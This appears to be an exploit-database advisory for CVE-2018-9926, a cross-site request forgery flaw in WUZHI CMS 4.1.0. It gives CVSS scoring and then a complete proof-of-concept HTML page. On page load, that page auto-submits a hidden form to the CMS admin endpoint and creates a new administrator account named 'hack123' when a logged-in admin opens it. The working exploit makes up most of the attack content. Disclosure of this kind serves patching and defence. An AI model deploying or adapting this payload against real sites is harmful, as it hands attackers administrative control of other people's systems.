WUZHI CMS 4.1.0 Cross-Site Request Forgery (Add Admin User)

2018.04.11

Credit: taoge

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-9926

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account
# Date: 2018-04-10
# Exploit Author: taoge
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE : CVE-2018-9926
An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128）
There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add.
After the administrator logged in, open the csrf exp page.
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='form[role][]' value='1' />";
fields += "<input type='hidden' name='form[username]' value='hack123' />";
fields += "<input type='hidden' name='form[password]' value='' />";
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";
var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=taoge";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WUZHI CMS 4.1.0 Cross-Site Request Forgery (Add Admin User)

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.